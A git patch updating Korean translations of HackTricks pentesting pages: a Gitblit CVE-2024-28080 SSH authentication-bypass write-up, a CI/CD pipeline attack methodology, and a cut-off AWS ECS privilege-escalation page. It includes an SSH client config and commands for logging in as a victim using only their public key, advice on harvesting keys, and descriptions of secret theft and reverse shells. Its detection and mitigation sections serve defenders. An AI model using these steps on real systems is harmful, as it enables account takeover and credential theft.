From f007fd016644963b3834b8ddfb768387729c84f9 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 4 Sep 2025 23:49:37 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-ci-cd/gitblit-security/gitblit-embedded- --- .../gitblit-security/README.md | 6 +- ...embedded-ssh-auth-bypass-cve-2024-28080.md | 94 +++++++++---------- .../pentesting-ci-cd-methodology.md | 92 +++++++++--------- .../aws-ecs-privesc.md | 86 ++++++++--------- 4 files changed, 140 insertions(+), 138 deletions(-) diff --git a/src/pentesting-ci-cd/gitblit-security/README.md b/src/pentesting-ci-cd/gitblit-security/README.md index 5c5bf4377..4fa324825 100644 --- a/src/pentesting-ci-cd/gitblit-security/README.md +++ b/src/pentesting-ci-cd/gitblit-security/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Gitblit 소개 +## Gitblit란? -Gitblit은 Java로 작성된 자체 호스팅 Git 서버입니다. 독립 실행형 JAR로 실행되거나 servlet containers에서 동작할 수 있으며, Git over SSH를 위해 Apache MINA SSHD를 사용하는 내장 SSH 서비스를 제공합니다. +Gitblit은 Java로 작성된 자가 호스팅 Git 서버입니다. 단독 JAR로 실행하거나 서블릿 컨테이너에서 실행할 수 있으며 Git over SSH용 내장 SSH 서비스(Apache MINA SSHD)를 제공합니다. ## 주제 @@ -14,7 +14,7 @@ Gitblit은 Java로 작성된 자체 호스팅 Git 서버입니다. 독립 실행 gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md {{#endref}} -## References +## 참고자료 - [Gitblit project](https://gitblit.com/) diff --git a/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md b/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md index 906f0ecb1..38bcf04df 100644 --- a/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md +++ b/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md @@ -4,36 +4,36 @@ ## 요약 -CVE-2024-28080은 Apache MINA SSHD와 통합할 때 세션 상태 처리가 잘못되어 Gitblit의 embedded SSH 서비스에서 발생하는 authentication bypass입니다. 사용자 계정에 적어도 하나의 SSH public key가 등록되어 있으면, 공격자는 사용자 이름과 해당 사용자의 public key 중 하나를 알고 있는 경우 private key나 비밀번호 없이 인증할 수 있습니다. +CVE-2024-28080은 Apache MINA SSHD와 통합할 때 세션 상태 처리가 잘못되어 발생하는 Gitblit의 임베디드 SSH 서비스에서의 인증 우회 취약점입니다. 사용자 계정에 최소 하나의 SSH 공개 키가 등록되어 있으면, 공격자는 사용자 이름과 그 공개 키 중 하나를 알면 개인 키나 비밀번호 없이 인증할 수 있습니다. -- Affected: Gitblit < 1.10.0 (관찰: 1.9.3) -- Fixed: 1.10.0 -- Requirements to exploit: - - Git over SSH가 인스턴스에서 활성화되어 있어야 함 - - 피해자 계정에 Gitblit에 등록된 적어도 하나의 SSH public key가 있어야 함 - - 공격자가 피해자의 사용자 이름과 그 중 하나의 public key를 알고 있어야 함 (종종 노출됨, 예: https://github.com/.keys) +- 영향 대상: Gitblit < 1.10.0 (1.9.3에서 관찰됨) +- 수정됨: 1.10.0 +- 악용을 위한 요구 조건: + - 인스턴스에서 Git over SSH가 활성화되어야 함 + - 피해자 계정이 Gitblit에 최소 하나의 SSH 공개 키를 등록해놓음 + - 공격자가 피해자의 사용자 이름과 해당 공개 키 중 하나를 알고 있음(종종 https://github.com/.keys 등에서 확인 가능) -## Root cause (state leaks between SSH methods) +## 근본 원인 (state leaks between SSH methods) -RFC 4252에 따르면 public‑key authentication은 두 단계로 진행됩니다: 서버는 먼저 제공된 public key가 사용자 이름에 대해 허용되는지 확인하고, 클라이언트가 서명으로 응답한 이후에야 사용자를 인증합니다. MINA SSHD에서는 PublickeyAuthenticator가 두 번 호출됩니다: key 허용 시(아직 서명 없음)와 나중에 클라이언트가 서명을 반환한 후입니다. +RFC 4252에 따르면 공개키 인증은 두 단계로 진행됩니다: 서버는 먼저 제공된 공개 키가 해당 사용자 이름에 대해 허용되는지 확인하고, 서명된 challenge/response가 완료된 후에야 사용자를 인증합니다. MINA SSHD에서는 PublickeyAuthenticator가 두 번 호출됩니다: 키 허용 시(아직 서명 없음)와 나중에 클라이언트가 서명을 반환한 후입니다. -Gitblit의 PublickeyAuthenticator는 첫 번째, 서명 이전 호출에서 세션 컨텍스트를 변경하여 인증된 UserModel을 세션에 바인딩하고 true를 반환("key acceptable")했습니다. 이후 인증이 password로 폴백될 때 PasswordAuthenticator는 변경된 세션 상태를 신뢰하고 단축 경로로 성공을 반환하여 비밀번호를 검증하지 않았습니다. 결과적으로 동일 사용자에 대해 이전에 public‑key "acceptance"가 있었던 경우, 어떤 비밀번호(비어 있는 값 포함)도 허용되었습니다. +Gitblit의 PublickeyAuthenticator는 첫 번째 사전 서명 호출에서 인증된 UserModel을 세션에 바인딩하고 true ("key acceptable")를 반환하면서 세션 컨텍스트를 변경했습니다. 이후 인증이 비밀번호로 대체되었을 때, PasswordAuthenticator는 변경된 세션 상태를 신뢰하여 비밀번호를 검증하지 않고 단축 경로로 처리해 true를 반환했습니다. 그 결과, 동일한 사용자에 대해 이전에 public‑key "acceptance"가 있으면 아무 비밀번호(빈 문자열 포함)나 허용되었습니다. -높은 수준의 결함 흐름: +문제의 흐름(개요): -1) 클라이언트가 사용자 이름 + public key를 제시 (아직 서명 없음) -2) 서버는 해당 키가 사용자에 속하는 것으로 인식하고 조기에 사용자를 세션에 연결하여 true 반환("acceptable") -3) 클라이언트는 서명할 수 없음(비공개 키 없음), 그래서 인증이 password로 폴백 -4) Password auth는 세션에 이미 사용자 정보가 있는 것을 보고 무조건 성공 반환 +1) 클라이언트가 사용자 이름 + 공개 키를 제시(아직 서명 없음) +2) 서버가 해당 키가 사용자에 속함을 인식하고 조기에 사용자를 세션에 연결한 뒤 true ("acceptable")를 반환 +3) 클라이언트가 서명할 수 없음(개인 키 없음) → 인증이 비밀번호로 대체됨 +4) 비밀번호 인증이 세션에 이미 사용자가 존재하는 것을 보고 조건 없이 성공을 반환 ## 단계별 익스플로잇 -- 피해자의 사용자 이름과 그들의 public key 중 하나를 수집: - - GitHub는 공개 키를 https://github.com/.keys 에 노출함 +- 피해자의 사용자 이름과 공개 키 중 하나를 수집: + - GitHub는 공개 키를 https://github.com/.keys 에 노출 - 공개 서버는 종종 authorized_keys를 노출함 -- OpenSSH를 구성하여 public half만 제시하도록 하여 서명 생성에 실패하게 하고, 서버에서 public‑key acceptance 경로를 여전히 트리거하면서 password 폴백을 강제함. +- OpenSSH를 공개 키만 제시하도록 구성하여 서명 생성이 실패하게 만든다. 이렇게 하면 서버에서 public‑key 허용 경로를 트리거하면서도 서명이 없으므로 비밀번호로 대체되게 할 수 있다. -Example SSH client config (no private key available): +예시 SSH 클라이언트 설정(개인 키 없음): ```sshconfig # ~/.ssh/config Host gitblit-target @@ -44,52 +44,52 @@ PreferredAuthentications publickey,password IdentitiesOnly yes IdentityFile ~/.ssh/victim.pub # public half only (no private key present) ``` -연결한 후 비밀번호 프롬프트에서 Enter 키를 누르세요(또는 아무 문자열을 입력하세요): +연결한 후 비밀번호 프롬프트에서 Enter를 누르세요(또는 아무 문자열을 입력): ```bash ssh gitblit-target # or Git over SSH GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://@/ ``` -Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state. +인증은 이전의 public‑key 단계가 세션을 인증된 사용자로 변형시켰기 때문에 성공하며, password auth가 그 상태를 잘못 신뢰합니다. Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact. -## Impact +## 영향 -- Full impersonation of any Gitblit user with at least one registered SSH public key -- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks) -- Potential administrative impact if targeting an admin user -- Pure network exploit; no brute force or private key required +- 적어도 하나의 등록된 SSH public key를 가진 모든 Gitblit 사용자를 완전히 가장할 수 있음 +- 피해자의 권한에 따른 저장소에 대한 읽기/쓰기 접근 (source exfiltration, unauthorized pushes, supply‑chain risks) +- 관리자 계정을 노린 경우 잠재적인 관리자 영향 +- 순수 네트워크 기반 익스플로잇; 무차별 대입이나 private key 불필요 -## Detection ideas +## 탐지 아이디어 -- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password -- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username +- SSH 로그를 검토하여 publickey 시도 뒤에 빈 비밀번호 또는 매우 짧은 비밀번호로 성공한 password authentication이 이어지는 시퀀스를 찾으세요 +- 다음과 같은 흐름을 찾아보세요: 지원되지 않거나 일치하지 않는 키 재료를 제시하는 publickey method 뒤에 동일한 사용자명에 대해 즉시 password 성공이 발생하는 경우 -## Mitigations +## 완화 조치 -- Upgrade to Gitblit v1.10.0+ -- Until upgraded: -- Disable Git over SSH on Gitblit, or -- Restrict network access to the SSH service, and -- Monitor for suspicious patterns described above -- Rotate affected user credentials if compromise is suspected +- Gitblit v1.10.0+로 업그레이드 +- 업그레이드 전까지: +- Gitblit에서 Git over SSH를 비활성화하거나, +- SSH 서비스에 대한 네트워크 접근을 제한하고, +- 위에 설명된 의심스러운 패턴을 모니터링하세요 +- 침해가 의심되면 영향받은 사용자 자격증명을 교체하세요 -## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services) +## 일반: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services) -패턴: 서버의 public‑key authenticator가 pre‑signature "key acceptable" 단계에서 사용자/세션 state를 변경(mutate)하고 다른 authenticators(e.g., password)가 그 state를 신뢰하면, 다음과 같이 인증을 우회할 수 있습니다: +패턴: 서버의 public‑key authenticator가 pre‑signature "key acceptable" 단계 동안 사용자/세션 상태를 변형시키고 다른 authenticators(예: password)가 그 상태를 신뢰하면, 다음 방법으로 인증을 우회할 수 있습니다: -- 타깃 사용자에 대한 합법적인 public key를 제시 (private key 불필요) -- 클라이언트가 서명에 실패하게 강제하여 서버가 password로 폴백하게 함 -- password authenticator가 leaked state에서 단축 판단(short‑circuit)하는 동안 임의의 password를 제출 +- 타깃 사용자에 대한 합법적 public key 제시(개인 키 불필요) +- 클라이언트가 서명에 실패하도록 강제하여 서버가 password로 폴백하도록 함 +- password authenticator가 leaked 상태에서 조기 종료(short‑circuits)하는 동안 아무 비밀번호나 제공 -실용 팁: +실용적인 팁: -- Public key harvesting at scale: https://github.com/.keys, organizational directories, team pages, leaked authorized_keys 같은 일반적인 출처에서 public keys를 수집 -- Forcing signature failure (client‑side): IdentityFile을 .pub 파일만 가리키게 설정, IdentitiesOnly yes로 설정, PreferredAuthentications에 publickey 이후 password를 포함하도록 유지 -- MINA SSHD integration pitfalls: -- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature -- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method +- 대규모 public key 수집: https://github.com/.keys, 조직 디렉터리, 팀 페이지, leaked authorized_keys 같은 일반 소스에서 public keys를 수집하세요 +- 서명 실패 유도(클라이언트 측): IdentityFile을 .pub만 가리키도록 설정, IdentitiesOnly yes로 설정, PreferredAuthentications에 publickey 다음에 password가 포함되도록 유지 +- MINA SSHD 통합 주의점: +- PublickeyAuthenticator.authenticate(...)는 post‑signature 검증 경로가 서명을 확인할 때까지 사용자/세션 상태를 첨부하면 안 됩니다 +- PasswordAuthenticator.authenticate(...)는 이전의 불완전한 인증 방법 동안 변형된 어떤 상태에서도 성공을 유추하면 안 됩니다 Related protocol/design notes and literature: - SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process) diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 3d983bc0e..5c3dcd62a 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,7 +6,7 @@ ## VCS -VCS는 **Version Control System**의 약자로, 개발자가 **소스 코드를 관리**할 수 있게 해줍니다. 가장 일반적인 것은 **git**이며 보통 다음과 같은 **플랫폼** 중 하나에서 사용됩니다: +VCS stands for **Version Control System**, 이 시스템은 개발자가 **소스 코드를 관리**할 수 있게 해준다. 가장 흔한 것은 **git**이며, 보통 기업들은 다음과 같은 **플랫폼** 중 하나를 사용한다: - Github - Gitlab @@ -18,86 +18,88 @@ VCS는 **Version Control System**의 약자로, 개발자가 **소스 코드를 ## CI/CD Pipelines -CI/CD pipelines는 개발자가 애플리케이션을 빌드, 테스트, 배포하는 등 다양한 목적을 위해 **코드 실행을 자동화**할 수 있게 합니다. 이러한 자동화된 워크플로우는 코드 푸시, 풀 리퀘스트 또는 예약 작업과 같은 **특정 동작에 의해 트리거**됩니다. 이는 개발에서 운영까지의 과정을 간소화하는 데 유용합니다. +CI/CD pipelines는 개발자가 애플리케이션을 빌드, 테스트, 배포하는 등 다양한 목적을 위해 **코드 실행을 자동화**할 수 있게 해준다. 이러한 자동화된 워크플로우는 코드 푸시, pull requests, 스케줄된 작업 등 특정 액션에 의해 **트리거**된다. 개발에서 운영까지의 과정을 간소화하는 데 유용하다. -하지만 이러한 시스템은 **어디선가 실행되어야 하며**, 일반적으로 **코드를 배포하거나 민감한 정보에 접근하기 위한 권한이 있는 자격증명으로 실행**됩니다. +다만 이러한 시스템들은 **어딘가에서 실행될 필요가 있으며**, 보통은 **코드를 배포하거나 민감한 정보에 접근하기 위한 권한 있는 자격증명**을 필요로 한다. -## VCS Pentesting Methodology + +## VCS Pentesting 방법론 > [!NOTE] -> 일부 VCS 플랫폼이 이 섹션을 위해 파이프라인을 생성하도록 허용하더라도, 여기서는 소스 코드의 제어에 대한 잠재적 공격만 분석합니다. +> 일부 VCS 플랫폼이 파이프라인을 생성하도록 허용하더라도 이 섹션에서는 소스 코드의 제어를 악용할 수 있는 잠재적 공격만을 분석한다. -프로젝트의 소스 코드를 포함하는 플랫폼에는 민감한 정보가 포함되어 있으므로 플랫폼 내 권한 관리를 매우 신중하게 해야 합니다. 공격자가 악용할 수 있는 VCS 플랫폼 전반의 일반적인 문제는 다음과 같습니다: +프로젝트의 소스 코드를 포함하는 플랫폼에는 민감한 정보가 포함될 수 있으므로 내부 권한 관리에 각별히 주의해야 한다. 공격자가 악용할 수 있는 VCS 플랫폼 전반의 일반적인 문제는 다음과 같다: -- **Leaks**: 코드에 leaks가 커밋에 포함되어 있고 공격자가 저장소에 접근할 수 있다면(공개이거나 접근 권한이 있는 경우) 해당 leaks를 발견할 수 있습니다. -- **Access**: 공격자가 **VCS 플랫폼 내의 계정에 접근**할 수 있다면 더 많은 가시성과 권한을 얻을 수 있습니다. -- **Register**: 일부 플랫폼은 외부 사용자가 계정을 생성할 수 있게 허용합니다. -- **SSO**: 일부 플랫폼은 사용자가 등록하는 것을 허용하지 않지만 유효한 SSO로는 누구나 접근할 수 있게 하는 경우가 있습니다(예: 공격자가 자신의 github 계정으로 접근). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... 사용자가 저장소에 어떤 방식으로든 접근하기 위해 훔칠 수 있는 다양한 종류의 토큰이 있습니다. -- **Webhooks**: VCS 플랫폼은 webhooks를 생성할 수 있게 합니다. 만약 이들이 보이지 않는 비밀값으로 **보호되지 않았다면 공격자가 이를 악용할 수 있습니다**. -- If no secret is in place, the attacker could abuse the webhook of the third party platform -- If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** 악의적인 행위자가 레포에 대해 어떤 형태의 **쓰기** 권한을 가지고 있다면 악성 코드를 **주입**하려 할 수 있습니다. 성공하려면 **branch protections를 우회**해야 할 수 있습니다. 이러한 동작은 다양한 목적을 위해 수행될 수 있습니다: +- **Leaks**: 코드에 leak가 커밋에 포함되어 있고 공격자가 해당 리포지토리에 접근할 수 있다면(퍼블릭이거나 접근 권한이 있는 경우) 해당 leak를 발견할 수 있다. +- **Access**: 공격자가 VCS 플랫폼 내의 계정에 **접근할 수 있다면**, 더 많은 가시성 및 권한을 얻을 수 있다. +- **Register**: 일부 플랫폼은 외부 사용자가 계정을 생성하는 것을 허용한다. +- **SSO**: 일부 플랫폼은 사용자의 직접 등록을 허용하지 않지만 유효한 SSO로는 누구나 접근할 수 있게 하는 경우가 있다(예: 공격자가 자신의 github 계정으로 접근). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies 등 다양한 종류의 토큰을 탈취하여 리포지토리에 접근할 수 있다. +- **Webhooks**: VCS 플랫폼은 Webhooks를 생성할 수 있게 한다. 이들이 눈에 보이지 않는 비밀로 보호되어 있지 않다면 **공격자가 이를 악용할 수 있다**. +- 비밀이 없는 경우 공격자는 서드파티 플랫폼의 webhook을 악용할 수 있다. +- 비밀이 URL에 포함되어 있다면 동일하게 공격자가 그 비밀을 함께 얻게 된다. +- **Code compromise:** 악성 행위자가 리포지토리에 대한 **쓰기 권한(write)**을 갖고 있다면 악의적인 코드를 **주입**하려 할 수 있다. 성공하려면 브랜치 보호를 **우회**해야 할 수도 있다. 이런 행위의 목적은 다양하다: - 메인 브랜치를 손상시켜 **production을 침해**. - - 메인(또는 다른) 브랜치를 손상시켜 **개발자 머신을 침해**(개발자들이 테스트, terraform 또는 다른 작업을 저장소 내에서 실행하는 경우). -- **Compromise the pipeline** (check next section) + - 메인(또는 기타) 브랜치를 손상시켜 **개발자 머신을 침해**(개발자들이 로컬에서 테스트, terraform 등 리포지토리 내 작업을 수행하기 때문). + - **파이프라인을 침해** (다음 섹션 참조) -## Pipelines Pentesting Methodology -파이프라인을 정의하는 가장 일반적인 방법은 **저장소에 호스팅된 CI 구성 파일**을 사용하는 것입니다. 이 파일은 실행되는 작업의 순서, 흐름에 영향을 미치는 조건 및 빌드 환경 설정을 설명합니다.\ -이 파일들은 일반적으로 일관된 이름과 형식을 가지며 예를 들어 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 그리고 .github/workflows 아래의 GitHub Actions YAML 파일들이 있습니다. 트리거되면 파이프라인 작업은 선택된 소스(예: 커밋/브랜치)에서 **코드를 pull**하고, CI 구성 파일에 명시된 **명령을 해당 코드에 대해 실행**합니다. +## Pipelines Pentesting 방법론 -따라서 공격자의 궁극적 목표는 어떻게든 이러한 구성 파일이나 **실행되는 명령**을 **손상시키는 것**입니다. +파이프라인을 정의하는 가장 일반적인 방법은 **리포지토리에 호스팅된 CI 구성 파일(CI configuration file)** 을 사용하는 것이다. 이 파일은 실행되는 작업의 순서, 흐름에 영향을 주는 조건들, 빌드 환경 설정 등을 설명한다.\ +이러한 파일들은 일반적으로 일관된 이름과 형식을 가진다. 예를 들어 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 그리고 .github/workflows 아래의 GitHub Actions YAML 파일들. 트리거되면 파이프라인 작업은 선택된 소스(예: 커밋/브랜치)에서 **코드를 pull**하고, CI 구성 파일에 지정된 **명령들을 해당 코드에 대해 실행**한다. + +따라서 공격자의 궁극적 목표는 이들 구성 파일 또는 이들이 실행하는 **명령어들을 어떻게든 손상시키는 것**이다. ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) 경로는 SCM 저장소의 권한을 악용하여 CI 파이프라인을 조작하고 해로운 명령을 실행하게 합니다. 필요한 권한을 가진 사용자는 CI 구성 파일이나 파이프라인 작업에서 사용하는 다른 파일을 수정해 악성 명령을 포함시킬 수 있습니다. 이렇게 CI 파이프라인이 "poison"되면 이 악성 명령들이 실행됩니다. +Poisoned Pipeline Execution (PPE) 경로는 SCM 리포지토리의 권한을 악용해 CI 파이프라인을 조작하고 악성 명령을 실행하게 만든다. 필요한 권한을 가진 사용자는 CI 구성 파일이나 파이프라인 작업에서 사용하는 다른 파일들을 수정해 악성 명령을 포함시킬 수 있다. 이렇게 하면 CI 파이프라인이 "poison"되어 이들 악성 명령이 실행된다. -악의적 행위자가 PPE 공격을 성공적으로 수행하려면 다음이 필요합니다: +공격자가 PPE 공격을 성공적으로 수행하려면 다음이 필요하다: -- 일반적으로 파이프라인은 push나 pull request 시 트리거되므로 **VCS 플랫폼에 대한 write access**가 있어야 합니다. (VCS pentesting methodology에서 접근 방법 요약을 확인하세요). -- 때때로 **외부 PR도 "write access"로 간주될 수 있습니다**. -- 쓰기 권한이 있더라도 CI 구성 파일 또는 구성에서 의존하는 다른 파일을 **수정할 수 있어야** 합니다. -- 이를 위해서는 **branch protections를 우회할 수 있어야** 할 수 있습니다. +- 보통 파이프라인은 push나 pull request가 수행될 때 트리거되므로 **VCS 플랫폼에 대한 write access**를 가지고 있어야 한다. (접근을 얻는 방법은 VCS pentesting 방법론 섹션을 참조). +- 때로는 외부 PR도 "write access"로 간주될 수 있다. +- 쓰기 권한이 있더라도 CI 구성 파일이나 구성에서 의존하는 다른 파일을 **수정할 수 있는지** 확실히 해야 한다. +- 이를 위해 브랜치 보호를 **우회**할 수 있어야 할 수도 있다. -PPE에는 3가지 변형이 있습니다: +PPE에는 3가지 형태가 있다: -- **D-PPE**: **Direct PPE** 공격은 공격자가 **실행될 CI config** 파일을 **직접 수정**할 때 발생합니다. -- **I-DDE**: **Indirect PPE** 공격은 공격자가 CI config 파일이 **의존하는 파일**(예: make 파일이나 terraform 구성)을 **수정**할 때 발생합니다. -- **Public PPE or 3PE**: 경우에 따라 파이프라인은 저장소에 write access가 없는 사용자(조직의 일원이 아닐 수도 있음)도 PR을 보낼 수 있기 때문에 **이들에 의해 트리거될 수 있습니다**. -- **3PE Command Injection**: 보통 CI/CD 파이프라인은 PR에 대한 정보로 **환경 변수를 설정**합니다. 만약 그 값이 공격자에 의해 제어될 수 있고(예: PR 제목) **위험한 위치**(예: **sh 명령 실행**)에서 **사용**된다면 공격자는 그 안에 **명령을 주입**할 수 있습니다. +- **D-PPE**: Direct PPE — 행위자가 **실행될 CI 구성 파일을 직접 수정**할 때 발생한다. +- **I-DDE**: Indirect PPE — 행위자가 CI 구성 파일이 **의존하는 파일(예: Makefile, terraform 구성 등)을 수정**할 때 발생한다. +- **Public PPE or 3PE**: 경우에 따라 파이프라인은 리포지토리에 write access가 없는 사용자(조직 소속이 아닐 수도 있는)가 PR을 보낼 수 있기 때문에 **그러한 유저에 의해 트리거**될 수 있다. +- **3PE Command Injection**: 일반적으로 CI/CD 파이프라인은 PR에 대한 **정보를 env variables**로 설정한다. 만약 그 값(예: PR의 제목)을 공격자가 제어할 수 있고 그 값이 위험한 위치(예: sh 명령 실행)에 **사용된다면**, 공격자는 **그 안에 명령을 주입**할 수 있다. ### Exploitation Benefits -PPE의 3가지 변형을 알았으니, 성공적인 악용 후 공격자가 얻을 수 있는 것을 살펴봅시다: +세 가지 PPE 형태를 알았으니, 공격자가 성공적으로 침투했을 때 얻을 수 있는 것들을 살펴보자: -- **Secrets**: 앞서 언급했듯이 파이프라인 작업은 (코드 가져오기, 빌드, 배포 등) **권한**이 필요하며 이러한 권한은 일반적으로 **secrets**으로 부여됩니다. 이 secrets는 보통 **env 변수나 시스템 내 파일**을 통해 접근 가능하므로 공격자는 가능한 한 많은 secrets를 항상 유출하려 할 것입니다. -- 파이프라인 플랫폼에 따라 공격자는 **구성에서 secrets를 명시해야 할 수도** 있습니다. 이는 공격자가 CI 구성 파이프라인을 수정할 수 없다면(**I-PPE** 등) 해당 파이프라인이 가진 **secrets만 유출할 수 있다**는 의미입니다. -- **Computation**: 코드는 어딘가에서 실행되며 실행 위치에 따라 공격자는 더 멀리 피벗할 수 있습니다. -- **On-Premises**: 파이프라인이 온프레미스에서 실행된다면 공격자는 **내부 네트워크에 침투하여 더 많은 자원에 접근**할 수 있습니다. -- **Cloud**: 공격자는 클라우드 내 다른 머신에 접근할 수 있고, IAM roles/service accounts **tokens**을 탈취해 클라우드 내부에서 **추가 권한을 획득**할 수 있습니다. -- **Platforms machine**: 때로 작업은 **파이프라인 플랫폼의 머신** 내에서 실행되며, 이는 대개 추가 접근 권한이 없는 클라우드 상의 격리된 환경일 수 있습니다. -- **Select it:** 때로는 **파이프라인 플랫폼이 여러 머신을 구성**해 두고 있으며 CI 구성 파일을 수정할 수 있다면 **악성 코드를 어떤 머신에서 실행할지 지정**할 수 있습니다. 이런 경우 공격자는 가능한 각 머신에 리버스 셸을 열어 추가 취약점을 노릴 것입니다. -- **Compromise production**: 파이프라인 내부에 침투해 최종 버전이 거기서 빌드되어 배포된다면, 운영 환경에서 실행될 코드를 **침해할 수 있습니다**. +- **Secrets**: 앞서 언급했듯이 파이프라인 작업은 코드 조회, 빌드, 배포 등을 위해 **권한**을 필요로 하며 이 권한들은 보통 **secrets**로 부여된다. 이 secrets는 보통 **env variables나 시스템 내부의 파일**을 통해 접근 가능하다. 따라서 공격자는 가능한 한 많은 secrets를 탈취하려 할 것이다. +- 파이프라인 플랫폼에 따라 공격자는 **구성 파일에 secrets를 명시해야 하는 경우**가 있다. 즉 공격자가 CI 구성 파일 자체를 수정할 수 없다면(**I-PPE** 같은 경우), 그는 **그 파이프라인이 이미 가진 secrets만** 탈취할 수 있다. +- **Computation**: 코드가 어딘가에서 실행되므로 실행 위치에 따라 공격자는 추가적인 피벗이 가능할 수 있다. +- **On-Premises**: 파이프라인이 온프레미스에서 실행된다면 공격자는 내부 네트워크에 도달해 더 많은 리소스에 접근할 수 있다. +- **Cloud**: 공격자는 클라우드 내 다른 머신에 접근하거나 IAM 역할/서비스 계정 토큰을 탈취해 클라우드 내부에서 추가 권한을 얻을 수 있다. +- **Platforms machine**: 때때로 작업은 파이프라인 플랫폼의 머신 내에서 실행되며, 이 머신들은 보통 더 이상의 액세스가 없는 클라우드 환경에 존재한다. +- **Select it:** 일부 파이프라인 플랫폼은 여러 머신을 구성해두고, CI 구성 파일을 수정할 수 있다면 **어떤 머신에서 악성 코드를 실행할지 지정**할 수 있다. 이런 경우 공격자는 가능한 각 머신에 리버스 셸을 띄워 추가 공격을 시도할 것이다. +- **Compromise production**: 파이프라인 내부에 침투해 최종 버전이 파이프라인에서 빌드되어 배포된다면, 운영 환경에서 실행될 코드를 **침해**할 수 있다. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 는 새로운 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)를 기반으로 소프트웨어 공급망 스택의 보안 준수를 감 audit하는 오픈소스 도구입니다. 이 감사는 전체 SDLC 프로세스에 초점을 맞추며, 코드 시점부터 배포 시점까지의 위험을 드러낼 수 있습니다. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 은 소프트웨어 공급망 스택을 감사하여 새로운 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 기준에 따라 보안 컴플라이언스를 확인하는 오픈소스 도구다. 이 감사는 전체 SDLC 프로세스에 초점을 맞추며, 코드 시점부터 배포 시점까지의 리스크를 드러낼 수 있다. ### Top 10 CI/CD Security Risk -Cider에 따르면 상위 10개의 CI/CD 리스크에 관한 흥미로운 기사: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Cider가 정리한 CI/CD 상위 10가지 리스크에 대한 흥미로운 글을 확인하라: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- 로컬에서 실행할 수 있는 각 플랫폼에 대해 로컬로 실행하는 방법이 제공되어 원하는 대로 구성하여 테스트할 수 있습니다. +- 로컬에서 실행할 수 있는 각 플랫폼별로 로컬 런칭 방법이 제공되어 원하는 대로 구성하여 테스트할 수 있다. - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**는 infrastructure-as-code에 대한 정적 코드 분석 도구입니다. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**는 infrastructure-as-code에 대한 정적 코드 분석 도구이다. ## References diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index da3030725..794c3e100 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -ECS에 대한 더 많은 **정보**는: +ECS에 대한 **추가 정보**는 다음을 확인하세요: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,7 +12,7 @@ ECS에 대한 더 많은 **정보**는: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` 권한을 악용하는 공격자는 **새 task definition을 생성**하여 메타데이터 자격 증명을 훔치는 **악성 컨테이너**를 포함시키고, 이를 **실행**할 수 있습니다. +공격자는 ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하여 메타데이터 자격증명을 탈취하는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성**하고 이를 **실행**할 수 있습니다. {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab 